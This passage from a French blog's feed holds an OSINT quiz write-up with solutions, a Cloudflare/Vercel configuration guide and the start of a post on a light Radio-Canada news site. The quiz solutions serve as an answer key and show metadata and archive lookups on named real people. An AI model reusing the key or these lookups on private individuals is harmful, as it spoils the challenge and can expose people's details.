&lt;p&gt;&lt;a href=&quot;http://twitter.com/bayer_julia/&quot;&gt;Julia Bayer&lt;/a&gt; started the whole Quiztime geolocation movement back in 2017. She started out with the hashtag #MondayQuiz. But can you tell me what the last text was that she tweeted in 2017, while using the hashtag #MondayQuiz? Only take the text. No unicode characters, emoticons, hashtags or anything else.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Recherche sur Twitter qui permet de trouver le dernier tweet de 2017: &lt;code&gt;from:bayer_julia #MondayQuiz until:2017-12-31&lt;/code&gt;&lt;/p&gt;
&lt;h2 id=&quot;02&quot;&gt;02&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;Quiztime crew member &lt;a href=&quot;https://twitter.com/twone2&quot;&gt;@twone2&lt;/a&gt; posted an image on Instagram on November 24, 2018. In the URL you see the unique identifier of the post (called a &#39;shortcode&#39; by Instagram), which consists of a bunch of lowercase and uppercase letters and numbers. But there is also an &#39;id&#39;, which can be found in the source or JSON output. This one only contains numbers. Can you find this number?&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;La publication en question: https://www.instagram.com/p/Bqj00zHAsgK/&lt;/p&gt;
&lt;p&gt;Avec l&#39;URL suivant, on peut récupérer les infos de la publication: &lt;code&gt;https://api.instagram.com/oembed/?url=http://www.instagram.com/p/Bqj00zHAsgK/&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;La réponse n&#39;est pas le &lt;code&gt;media_id&lt;/code&gt; complet, mais seulement la première partie (avant &lt;code&gt;_&lt;/code&gt;).&lt;/p&gt;
&lt;h2 id=&quot;03&quot;&gt;03&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;In September 2019 someone posted in an aviation forum a quote that explained how &lt;a href=&quot;https://twitter.com/trbrtc&quot;&gt;Christiaan Triebert&lt;/a&gt; has used shadows, that were cast by towers around a launch pad, as sun dials. What is the username of the account that posted this? When you found the name, make sure it&#39;s all in lower case, calculate the MD5 hash and send it in.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Une recherche Google permet de trouver facilement la réponse: &lt;code&gt;aviation forum &amp;quot;Christiaan Triebert&amp;quot; sept 2019 sun dials&lt;/code&gt;&lt;/p&gt;
&lt;h2 id=&quot;04&quot;&gt;04&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;A little Dutch touch in this question. There&#39;s a weird artwork in Indianapolis that has its own Wikipedia entry here: &lt;a href=&quot;https://en.wikipedia.org/wiki/Funky_Bones&quot;&gt;https://en.wikipedia.org/wiki/Funky_Bones&lt;/a&gt;
The photo on the Wikipedia page can be found all over the internet, but one of the oldest uploads out there is a stock photo site. Are you able to find this stock photo? Then grab the original filename and calculate the MD5 hash. No need to convert anything to lower case, just calculate the MD5 hash of this exact filename that you found on the stock photo website.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Ce challenge m&#39;a demandé un peu plus de temps (la question me semblait drôlement formulée). Une recherche d&#39;image inversée sur Yandex m&#39;a permis de trouver l&#39;upload sur &lt;a href=&quot;https://www.gettyimages.de/detail/nachrichtenfoto/funky-bones-by-atelier-van-lieshout-2010-commissioned-nachrichtenfoto/590136543&quot;&gt;Gettyimage&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Il fallait ensuite déterminer quelle métadonnée correspondait au &amp;quot;original filename&amp;quot;, avec ou sans l&#39;extension de fichier. J&#39;ai fini par trouver ;)&lt;/p&gt;
&lt;h2 id=&quot;05&quot;&gt;05&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;For this question I&#39;m going to feature the awesome &lt;a href=&quot;https://twitter.com/dutch_osintguy&quot;&gt;Dutch OSINT Guy Nico&lt;/a&gt;. And we&#39;ll be looking at YouTube videos, and some online tools that are designed for them. Using a tool that can investigate YouTube content, can you tell me what the exact timestamp of the following video is?
Link to the video: &lt;a href=&quot;https://www.youtube.com/watch?v=kUVFeXSdkO8&quot;&gt;https://www.youtube.com/watch?v=kUVFeXSdkO8&lt;/a&gt;
Extract the exact date and time from the timestamp of the video, and convert it as follows: yyyymmddhhmmss
Then calculate the MD5 hash and send it in.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Très facile avec cet outil: https://mattw.io/youtube-metadata/&lt;/p&gt;
&lt;h2 id=&quot;06&quot;&gt;06&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;Time to have a crack at the following image: &lt;a href=&quot;https://drive.google.com/file/d/1ZhwLFYh2bYD4EhrB5_Lzj1WToovC_psB/view&quot;&gt;https://drive.google.com/file/d/1ZhwLFYh2bYD4EhrB5_Lzj1WToovC_psB/view&lt;/a&gt;
Provide the name of the person who initially uploaded it to a &#39;wiki&#39; platform. I want the full name, so the first and last name, all in lowercase and no spaces. Then calculate the MD5 hash and send in your answer.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Une recherche dans Yandex sort rapidement le résultat sur le domaine wiki2.org.&lt;/p&gt;
&lt;h2 id=&quot;07&quot;&gt;07&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;It&#39;s been some time since that &lt;a href=&quot;https://osintcurio.us/&quot;&gt;https://osintcurio.us&lt;/a&gt; was launched, and somewhere in December 2018 someone posted the link to this website for the first time on a Reddit subforum. Find the forum, find the post, and then exact the timestamp of this post. If you&#39;re logged in at Reddit, you can find it in the following format: yyyy-mm-ddThh:mm:ss+00:00
Don&#39;t change anything! This time you &lt;strong&gt;don&#39;t convert&lt;/strong&gt; to lower case or anything, just grab that timestamp and calculate the MD5 hash!
But whether you are logged in or not, somewhere in the page the date and time of the post is &lt;strong&gt;also&lt;/strong&gt; visible as a Unix timestamp. Never heard of that? Read about it &lt;a href=&quot;https://www.unixtimestamp.com/&quot;&gt;over here&lt;/a&gt;. Just dive into the page, find the timestamp, convert it to MD5 and send in your answer!&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Une recherche Google permet de trouver la publication sur Reddit en 2018: &lt;code&gt;osintcurio.us reddit 2018&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;En ajoutant &lt;code&gt;about.json&lt;/code&gt; à la fin de l&#39;URL, on obtient les données associées à la publication en JSON. La réponse est en Unix timestamp.&lt;/p&gt;
&lt;h2 id=&quot;08&quot;&gt;08&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;For this question, we&#39;ll be looking at a scan of the website &lt;a href=&quot;https://osintcurio.us/&quot;&gt;https://osintcurio.us&lt;/a&gt; that was performed by &lt;a href=&quot;http://urlscan.io/&quot;&gt;urlscan.io&lt;/a&gt; in early 2019. Open the following link and click around to have a look at all the information that is stored. But the question can only be answered by opening up the JSON output and have a good look at how much more information is in there, compared to the web interface: &lt;a href=&quot;https://urlscan.io/result/2d8a4cdb-6c43-4925-a9f9-d99750cf3f8b/&quot;&gt;https://urlscan.io/result/2d8a4cdb-6c43-4925-a9f9-d99750cf3f8b/&lt;/a&gt;
When this scan was made, the webserver sent out slightly different headers than it does nowadays. Please provide the &lt;strong&gt;exact text&lt;/strong&gt; that was sent in the &amp;quot;X-Hacker&amp;quot; header.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Visiter l&#39;URL et aller à la section API permet de trouver la réponse.&lt;/p&gt;
&lt;h2 id=&quot;09&quot;&gt;09&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;For this question, we&#39;ll be looking at some more JSON output, just to give you some extra practice. You&#39;ll only your browser and the developer tools again, like last time. Open the following site, and answer the question: &lt;a href=&quot;http://www.virtualradar.nl/virtualradar/desktop.html&quot;&gt;http://www.virtualradar.nl/virtualradar/desktop.html&lt;/a&gt;
By looking at the traffic between your browser and the website, and looking at the JSON, can you deduct the name of the variable that shows the &lt;strong&gt;total amount of airplanes&lt;/strong&gt; currently tracked within the view you&#39;ve selected?&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;En analysant les requêtes, on peut voir dans &lt;code&gt;AircraftList.json&lt;/code&gt; que la variable &lt;code&gt;totalAc&lt;/code&gt; semble être utilisée pour le nombre total des avions.&lt;/p&gt;
&lt;h2 id=&quot;10&quot;&gt;10&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;a href=&quot;https://twitter.com/fiete_stegers&quot;&gt;Fiete Stegers&lt;/a&gt; tweeted a photo from his new workplace some time ago, as a Quiztime geolocation challenge. Nowadays a lot of social media remove most metadata of images or videos, but especially when you download something from a website, it sometimes pays off to check the metadata or EXIF information in a file. With the photo given here, it should be possible to find out exactly where this building is. The photo was placed inside a ZIP file, since Google Drive actually strips certain EXIF information, which would break this quiz: &lt;a href=&quot;https://drive.google.com/file/d/1bbic7xP7nM0drsICb7e4bm1zkDTbSAF4/view&quot;&gt;https://drive.google.com/file/d/1bbic7xP7nM0drsICb7e4bm1zkDTbSAF4/view&lt;/a&gt;
To answer the question: Don&#39;t bother geolocating the building itself, that would be too easy. Simply find the GPS coordinates, and calculate the MD5 hash, after you wrote the coordinates in the following format: latitude,longitude&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Après avoir téléchargé le fichier, on peut extraire les métadonnées avec &lt;code&gt;exiftool&lt;/code&gt;:&lt;/p&gt;
&lt;p&gt;&lt;code&gt;exiftool hamburg.jpg&lt;/code&gt;
&lt;code&gt;...&lt;/code&gt;
&lt;code&gt;GPS Latitude                    : 53 deg 33&#39; 23.91&amp;quot;&lt;/code&gt;
&lt;code&gt;GPS Longitude           : 10 deg 1&#39; 19.48&amp;quot;&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Pour convertir en degrés décimaux: https://www.latlong.net/degrees-minutes-seconds-to-decimal-degrees&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;53.5566,10.0220&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2 id=&quot;11&quot;&gt;11&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;One of the Quiztime crew members is &lt;a href=&quot;https://twitter.com/dondude&quot;&gt;Philipp Dudek&lt;/a&gt;, and he works for &lt;a href=&quot;https://hhlab.de/&quot;&gt;HHLab&lt;/a&gt;. It&#39;s time to look at his profile photo on the website. But... Are you able to find out who the person is that probably edited his photo?
Calculate the name after you converted it to lowercase!&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Je télécharge la photo et analyse les métadonnées:&lt;/p&gt;
&lt;p&gt;&lt;code&gt;exiftool Philipp.png&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Dans le champ &lt;code&gt;History&lt;/code&gt;, on peut voir qu&#39;un certain Marc a travaillé sur le fichier:
&lt;code&gt;C:&#92;Users&#92;Marc&#92;AppData&#92;Roaming&#92;Adobe&#92;Adobe Photoshop CC&lt;/code&gt;&lt;/p&gt;
&lt;h2 id=&quot;12&quot;&gt;12&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;Time to dive one more time into the EXIF data with an easy question... Open the following site and extract the EXIF information from the image of the typewriter. You might not be able to download this image right away, so you could use the developer tools to find the direct URL to download it. Go have a look at the abundance of information inside the EXIF data: &lt;a href=&quot;https://www.behance.net/gallery/11820853/Type-Investigation&quot;&gt;https://www.behance.net/gallery/11820853/Type-Investigation
&lt;/a&gt;
The answer is the &amp;quot;Legacy IPTC Digest&amp;quot;. And even though it&#39;s a hash, just convert the value you&#39;ve found to an MD5 hash, that&#39;s your answer.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;On peut télécharger l&#39;image en allant dans les outils de développement, onglet Network, filtrer par images pour récupérer le fichier original.&lt;/p&gt;
&lt;p&gt;Comme pour les deux niveaux précédents, &lt;code&gt;exiftool&lt;/code&gt; permet d&#39;extraire la réponse et de trouver le Legacy IPTC Digest.&lt;/p&gt;
&lt;h2 id=&quot;13&quot;&gt;13&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;The website of the OSINT Curious Project (link &lt;a href=&quot;http://osintcurio.us/&quot;&gt;http://osintcurio.us/&lt;/a&gt;) was launched end of 2018. Back in the early days, inside the &amp;quot;robots.txt&amp;quot; that you can find in the root (or top folder) of most webservers, there was a date mentioned. Time for you to dive into history and find this exact date! Grab the date and time mentioned in that file, and create the MD5 hash of the following format: yyyymmddhhmmss&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Avec la Wayback Machine, on peut retrouver le fichier &lt;code&gt;robots.txt&lt;/code&gt; original: https://web.archive.org/web/20181214143755/http://osintcurio.us/robots.txt&lt;/p&gt;
&lt;h2 id=&quot;14&quot;&gt;14&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;a href=&quot;https://twitter.com/mahrko&quot;&gt;Marco Bereth&lt;/a&gt; is one of the people that sends out quizzes for the Quiztime Twitter account. Back in 2013 his Twitter bio was quite different than today. But what was the very first word in his profile back in July 2013?
Grab that word, convert it to lower case, and calculate the MD5 hash!&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Avec https://archive.is ou https://web.archive.org, on peut retrouver la bio du compte en 2013.&lt;/p&gt;
&lt;h2 id=&quot;15&quot;&gt;15&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;Using the website Elephind, you&#39;ll be searching for articles that are mentioning the term &amp;quot;OSINT&amp;quot; or &amp;quot;open source intelligence&amp;quot; in any of the indexed newspapers.
Using Elephind, try to find a newspaper from October 29, 2007. The term is mentioned in a calendar of some kind, on page 2 of that particular newspaper. Find that calendar item and find the name of the person that is mentioned. Strip the spaces in that name, convert it to lower case, and calculate the MD5 hash.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Une recherche sur Elephind permet de trouver l&#39;édition du journal en question. La réponse est à la page 2, dans la section du calendrier.&lt;/p&gt;
&lt;h2 id=&quot;16&quot;&gt;16&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;This statue can be found somewhere in the world, and even has his own &#39;square&#39;. Are you able to find out where this statue is, and find the name of the &#39;square&#39; it can be found?
&lt;a href=&quot;https://drive.google.com/file/d/1W8jhuubkP2-E2Ike2MsedPQfxdNYxpgg/view&quot;&gt;https://drive.google.com/file/d/1W8jhuubkP2-E2Ike2MsedPQfxdNYxpgg/view
&lt;/a&gt;
Grab the name of the &#39;square&#39; (in its original language), convert it to lower space and remove anything that isn&#39;t a letter. No dashes, spaces, or such. Calculate the MD5 and send in the answer.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Cette dernière question m&#39;a donné du fil à retordre. La photo contient deux indices intéressants que j&#39;ai tenté d&#39;explorer pour trouver la solution:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Le véhicule sur la photo est un camion de pompier (et non pas une ambulance comme j&#39;ai d&#39;abord cru). La mention &lt;em&gt;Feuerwehr&lt;/em&gt;, &lt;em&gt;pompiers&lt;/em&gt; en allemand, le confirme.&lt;/li&gt;
&lt;li&gt;La place où se trouve la statue est bordée d&#39;escaliers ou de passages piétonniers (derrière le camion de pompiers).&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;C&#39;est plutôt une recherche par images sur Yandex qui m&#39;a permis d&#39;avancer. J&#39;ai repéré une photo de la même statue - on reconnait l&#39;arrière de la tête, et le passage piétonniers en face (&lt;a href=&quot;https://www.flickr.com/photos/jmm-hamburg/4384810455/&quot;&gt;ici sur Flickr&lt;/a&gt;). La description de la photo contient le nom de la &lt;a href=&quot;https://www.google.com/maps/place/Johannes-Rau-Platz,+40213+D%C3%BCsseldorf,+Allemagne/@51.2191428,6.7584403,15z/data=!4m13!1m7!3m6!1s0x47b8ca13e7d0a0d3:0xfae69d5364bfaf80!2sJohannes-Rau-Platz,+40213+D%C3%BCsseldorf,+Allemagne!3b1!8m2!3d51.2191428!4d6.767195!3m4!1s0x47b8ca13e7d0a0d3:0xfae69d5364bfaf80!8m2!3d51.2191428!4d6.767195&quot;&gt;place à Düsseldorf&lt;/a&gt;.&lt;/p&gt;
</content>
  </entry>
  <entry>
    <title>Comment configurer Cloudflare avec Vercel</title>
    <link href="https://jrb.nz/posts/vercel-cloudflare-config/" />
    <updated>2022-02-11T00:00:00Z</updated>
    <id>https://jrb.nz/posts/vercel-cloudflare-config/</id>
    <content type="html">&lt;p&gt;Je fais la gestion DNS de mes projets sur Cloudflare. J&#39;ai eu quelques pépins techniques en configurant mes noms de domaine avec des projets hébergés chez Vercel. Je recevais quotidiennement des courriels de Vercel me signalant que la configuration DNS de mes projets était incorrecte. Je me suis penché sur le problème pour tenter de trouver une solution.&lt;/p&gt;
&lt;p&gt;&lt;picture&gt;&lt;source type=&quot;image/avif&quot; srcset=&quot;https://jrb.nz/posts/vercel-cloudflare-config/5Ha9YJcrx7-1534.avif 1534w&quot;&gt;&lt;source type=&quot;image/webp&quot; srcset=&quot;https://jrb.nz/posts/vercel-cloudflare-config/5Ha9YJcrx7-1534.webp 1534w&quot;&gt;&lt;img loading=&quot;lazy&quot; decoding=&quot;async&quot; src=&quot;https://jrb.nz/posts/vercel-cloudflare-config/5Ha9YJcrx7-1534.png&quot; alt=&quot;vercel-not-configured&quot; width=&quot;1534&quot; height=&quot;958&quot;&gt;&lt;/picture&gt;&lt;/p&gt;
&lt;p&gt;Vercel annonce d&#39;emblée dans sa &lt;a href=&quot;https://vercel.com/support/articles/using-cloudflare-with-vercel&quot;&gt;documentation&lt;/a&gt; qu&#39;ils ne recommandent pas l&#39;utilisation du proxy Cloudflare:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;It is highly recommended that you don&#39;t use the Cloudflare CDN with Vercel. &lt;sup class=&quot;footnote-ref&quot;&gt;&lt;a href=&quot;https://jrb.nz/posts/vercel-cloudflare-config/#fn1&quot; id=&quot;fnref1&quot;&gt;[1]&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Si on veut quand même utiliser le proxy Cloudflare, Vercel indique qu&#39;on doit permettre les requêtes HTTP (sans SSL) sur le path &lt;code&gt;/.well-known/*&lt;/code&gt;.&lt;/p&gt;
&lt;h2 id=&quot;desactiver-https-pour-well-known&quot;&gt;Désactiver HTTPS pour &lt;code&gt;.well-known&lt;/code&gt;&lt;/h2&gt;
&lt;p&gt;On peut désactiver le trafic HTTPS avec les Pages rules de Cloudflare:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Visiter Rules &amp;gt; Pages Rules&lt;/li&gt;
&lt;li&gt;Create Page Rules&lt;/li&gt;
&lt;li&gt;Dans le champ &lt;code&gt;If the URL matches&lt;/code&gt;, entrer le domaine avec les wildcards nécessaires: &lt;code&gt;*exemple.com/.well-known/*&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Sélectionner &lt;code&gt;SSL &amp;gt; Off&lt;/code&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;h2 id=&quot;forcer-le-trafic-https&quot;&gt;Forcer le trafic HTTPS&lt;/h2&gt;
&lt;p&gt;Il faut par ailleurs rediriger toutes les autres requêtes HTTP vers HTTPS manuellement avec une autre règle (même si Cloudflare a une option pour le faire automatiquement):&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Visiter SSL/TLS &amp;gt; Edge Certificates&lt;/li&gt;
&lt;li&gt;Désactiver &lt;code&gt;Always Use HTTPS&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Visiter Rules &amp;gt; Pages Rules&lt;/li&gt;
&lt;li&gt;Create Page Rule&lt;/li&gt;
&lt;li&gt;Dans le champ &lt;code&gt;If the URL matches&lt;/code&gt;, entrer le domaine &lt;code&gt;*domaine.com/*&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Sélectionner &lt;code&gt;Always Use HTTPS&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Enregistrer, et mettre cette règle en 2e position&lt;/li&gt;
&lt;/ol&gt;
&lt;h2 id=&quot;tester-la-configuration&quot;&gt;Tester la configuration&lt;/h2&gt;
&lt;p&gt;On peut confirmer que la nouvelle configuration fonctionne avec la commande suivante, qui devrait retourner un 404:
&lt;code&gt;curl http://example.com/.well-known/acme-challenge -I&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;L&#39;interface de Vercel se met rapidement à jour quand la configuration est tip top 🎉
&lt;picture&gt;&lt;source type=&quot;image/avif&quot; srcset=&quot;https://jrb.nz/posts/vercel-cloudflare-config/_ef0MdYnM8-1526.avif 1526w&quot;&gt;&lt;source type=&quot;image/webp&quot; srcset=&quot;https://jrb.nz/posts/vercel-cloudflare-config/_ef0MdYnM8-1526.webp 1526w&quot;&gt;&lt;img loading=&quot;lazy&quot; decoding=&quot;async&quot; src=&quot;https://jrb.nz/posts/vercel-cloudflare-config/_ef0MdYnM8-1526.png&quot; alt=&quot;vercel-configured&quot; width=&quot;1526&quot; height=&quot;270&quot;&gt;&lt;/picture&gt;&lt;/p&gt;
&lt;hr class=&quot;footnotes-sep&quot;&gt;
&lt;section class=&quot;footnotes&quot;&gt;
&lt;ol class=&quot;footnotes-list&quot;&gt;
&lt;li id=&quot;fn1&quot; class=&quot;footnote-item&quot;&gt;&lt;p&gt;https://vercel.com/support/articles/using-cloudflare-with-vercel &lt;a href=&quot;https://jrb.nz/posts/vercel-cloudflare-config/#fnref1&quot; class=&quot;footnote-backref&quot;&gt;↩︎&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/section&gt;
</content>
  </entry>
  <entry>
    <title>Projet: Radio-Canada Mini</title>
    <link href="https://jrb.nz/posts/projet-radio-canada-lite/" />
    <updated>2022-01-10T00:00:00Z</updated>
    <id>https://jrb.nz/posts/projet-radio-canada-lite/</id>
    <content type="html">&lt;div class=&quot;markdown-alert markdown-alert-important&quot;&gt;&lt;p class=&quot;markdown-alert-title&quot;&gt;&lt;svg class=&quot;octicon octicon-report mr-2&quot; viewBox=&quot;0 0 16 16&quot; version=&quot;1.1&quot; width=&quot;16&quot; height=&quot;16&quot; aria-hidden=&quot;true&quot;&gt;&lt;path d=&quot;M0 1.75C0 .784.784 0 1.75 0h12.5C15.216 0 16 .784 16 1.75v9.5A1.75 1.75 0 0 1 14.25 13H8.06l-2.573 2.573A1.458 1.458 0 0 1 3 14.543V13H1.75A1.75 1.75 0 0 1 0 11.25Zm1.75-.25a.25.25 0 0 0-.25.25v9.5c0 .138.112.25.25.25h2a.75.75 0 0 1 .75.75v2.19l2.72-2.72a.749.749 0 0 1 .53-.22h6.5a.25.25 0 0 0 .25-.25v-9.5a.25.25 0 0 0-.25-.25Zm7 2.25v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 9a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;Important&lt;/p&gt;&lt;p&gt;Ce projet a reçu une &lt;a href=&quot;https://github.com/github/dmca/blob/d6ec9201221fd1a73d938f333254c89a1b6e8aa0/2024/06/2024-06-05-radio-canada.md?plain=1#L23&quot;&gt;notice de retrait DMCA en juin 2024&lt;/a&gt;. Je savais que ce projet était voué à se terminer ainsi. Malgré tout, les échanges et les apprentissages que le projet a générés ont valu la peine! Tous les URLs vers le site pointent maintenant vers la page archivée dans la Wayback Machine.&lt;/p&gt;
&lt;/div&gt;
&lt;blockquote&gt;
&lt;p&gt;En 2021, j’ai découvert la version &lt;em&gt;lite&lt;/em&gt; de CBC.ca, disponible à la page &lt;a href=&quot;https://cbc.ca/lite&quot;&gt;https://cbc.ca/lite&lt;/a&gt;. Je me suis lancé le défi de créer une version équivalente pour le contenu de Radio-Canada.ca.&lt;br&gt;
Le projet est resté en ligne de 2021 à juin 2024 à l&#39;adresse: &lt;a href=&quot;https://web.archive.org/web/20240601115720/https://radiocanadamini.ca/&quot;&gt;https://radiocanadamini.ca&lt;/a&gt;&lt;br&gt;
Cet article présente le projet et fait un survol de quelques détails techniques.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2 id=&quot;pourquoi-faire-ce-site&quot;&gt;Pourquoi faire ce site?&lt;/h2&gt;
&lt;p&gt;L’objectif initial était d’apprendre à utiliser le générateur de site statique &lt;a href=&quot;https://11ty.dev/&quot;&gt;Eleventy&lt;/a&gt; tout en produisant un site utile et pertinent, autant pour moi que pour d’autres. Entre 2015 et 2017, j’avais exploré &lt;a href=&quot;https://gohugo.io/&quot;&gt;Hugo&lt;/a&gt; et &lt;a href=&quot;https://jekyllrb.com/&quot;&gt;Jekyll&lt;/a&gt;. Je voulais maintenant essayer quelque chose de nouveau.&lt;/p&gt;
&lt;p&gt;L’expérience de navigation et de lecture sur &lt;a href=&quot;https://ici.radio-canada.ca/&quot;&gt;Radio-Canada.ca&lt;/a&gt; me décevait depuis plusieurs mois, et j&#39;avais envie d&#39;améliorer les points suivants avec un site léger et minimaliste:&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;1. Omniprésence de la publicité&lt;/strong&gt;: sans un bloqueur de publicités, Radio-Canada.ca est rempli de publicités (en images ou en vidéos). Les contenus publicitaires sont continuellement rechargés.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;2. Lourdeur des pages&lt;/strong&gt;: le chargement de toutes les images et de tous les modules d’une page sur Radio-Canada.ca peut prendre plusieurs secondes. La page d’accueil fait environ &lt;a href=&quot;https://tools.pingdom.com/#5fb5936b21800000&quot;&gt;3 Mb&lt;/a&gt;. 140 requêtes sont faites pendant le chargement.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;3. Espace visuel surchargé&lt;/strong&gt;: la lecture d’un texte ne se fait pas sans voir plusieurs fils de nouvelles divers, la liste des articles les plus lus, l’espace accordé aux commentaires, etc.&lt;/p&gt;
&lt;h2 id=&quot;cbc-lite&quot;&gt;CBC Lite&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://cbc.radio-canada.ca/en/your-public-broadcaster/blog/introducing-cbc-lite&quot;&gt;En 2021, CBC lançait la version &lt;em&gt;lite&lt;/em&gt; de son site&lt;/a&gt;. Voici comment le projet est présenté:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;The internet is getting bigger, and with it, the amount of information sent for each web page load continues to increase exponentially. For those of us lucky enough to have high-speed internet access, we’ve now been opened up to the options of high-definition video and audio streaming. Pages can load large, complicated components, and data can zip back and forth at lightning speeds. &lt;br&gt;
Unfortunately these kinds of advances tend to leave others behind.&lt;br&gt;
More than a million users in Canada access CBC.ca on dial-up internet speeds each month. This often results in wait times of 30-plus seconds (up to multiple minutes) for a single page load. When you factor in video and audio streams, many pages quickly become inaccessible. Besides dial-up, CBC.ca has more than 10 million users each month visiting using cellular data, and the majority of users are not on unlimited data plans. Large page sizes quickly eat up data, leading to poor experiences.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Radio-Canada, de son côté, n&#39;a jamais lancé de projet similaire. J&#39;ai donc profité de l&#39;occasion pour me lancer dans le projet de reproduire, en quelques semaines, un site équivalent.&lt;/p&gt;
&lt;p&gt;D’ailleurs, plusieurs autres projets similaires existent ailleurs sur le web:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Version &lt;em&gt;text-only&lt;/em&gt; de &lt;a href=&quot;https://text.npr.org/&quot;&gt;NPR&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Version &lt;em&gt;lite&lt;/em&gt; de &lt;a href=&quot;http://lite.cnn.com/en&quot;&gt;CNN&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Version &lt;em&gt;skinny&lt;/em&gt; &lt;a href=&quot;https://www.skinnyguardian.xyz/&quot;&gt;The Guardian&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&quot;quelle-est-la-pertinence-d-un-site-de-ce-genre-en-2022&quot;&gt;Quelle est la pertinence d’un site de ce genre en 2022?&lt;/h2&gt;
&lt;p&gt;Avec la montée fulgurante des nouvelles technologies du web et des réseaux sociaux, avec la centralisation excessive des services vers les &lt;abbr title=&quot;Google, Apple, Facebook, Amazon, Microsoft&quot;&gt;GAFAM&lt;/abbr&gt;, on pourrait croire que des sites légers (qui consomment peu de données) tels que &lt;a href=&quot;https://cbc.ca/lite&quot;&gt;CBC Lite&lt;/a&gt; sont maintenant désuets, inutiles. Qu’ils seraient des artéfacts du web d’avant, du petit web.&lt;/p&gt;
&lt;p&gt;Il faut par contre rappeler que l’accès à Internet est un privilège, tout autant que l’accès à une connexion Internet de qualité. Dans un rapport publié en 2019, le &lt;abbr title=&quot;Conseil des académies canadiennes&quot;&gt;CAC&lt;/abbr&gt; constatait l’écart de connectivité à travers le Canada:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Seulement 46% des ménages ruraux (et 35% des ménages dans les réserves des Premières Nations) avaient accès à des connexions Internet qui répondaient aux critères du gouvernement du Canada (50/10 illimité).&lt;sup class=&quot;footnote-ref&quot;&gt;&lt;a href=&quot;https://jrb.nz/posts/projet-radio-canada-lite/#fn1&quot; id=&quot;fnref1&quot;&gt;[1]&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Dans cette optique, ça devient pertinent — par souci d’accessibilité — d’offrir des sites légers, qui pourront s’afficher rapidement pour tous les ménages à connexion Internet réduite (ou dont la consommation en données est limitée).&lt;/p&gt;
&lt;h2 id=&quot;avantages&quot;&gt;Avantages&lt;/h2&gt;
&lt;p&gt;Outre les points déjà mentionnés, voici d&#39;autres aspects qui donnent de la pertinence au projet:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Épuré&lt;/strong&gt;: L’interface est volontairement minimaliste. Retour à l’essentiel. Le texte est mis de l’avant, les images sont facultatives.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
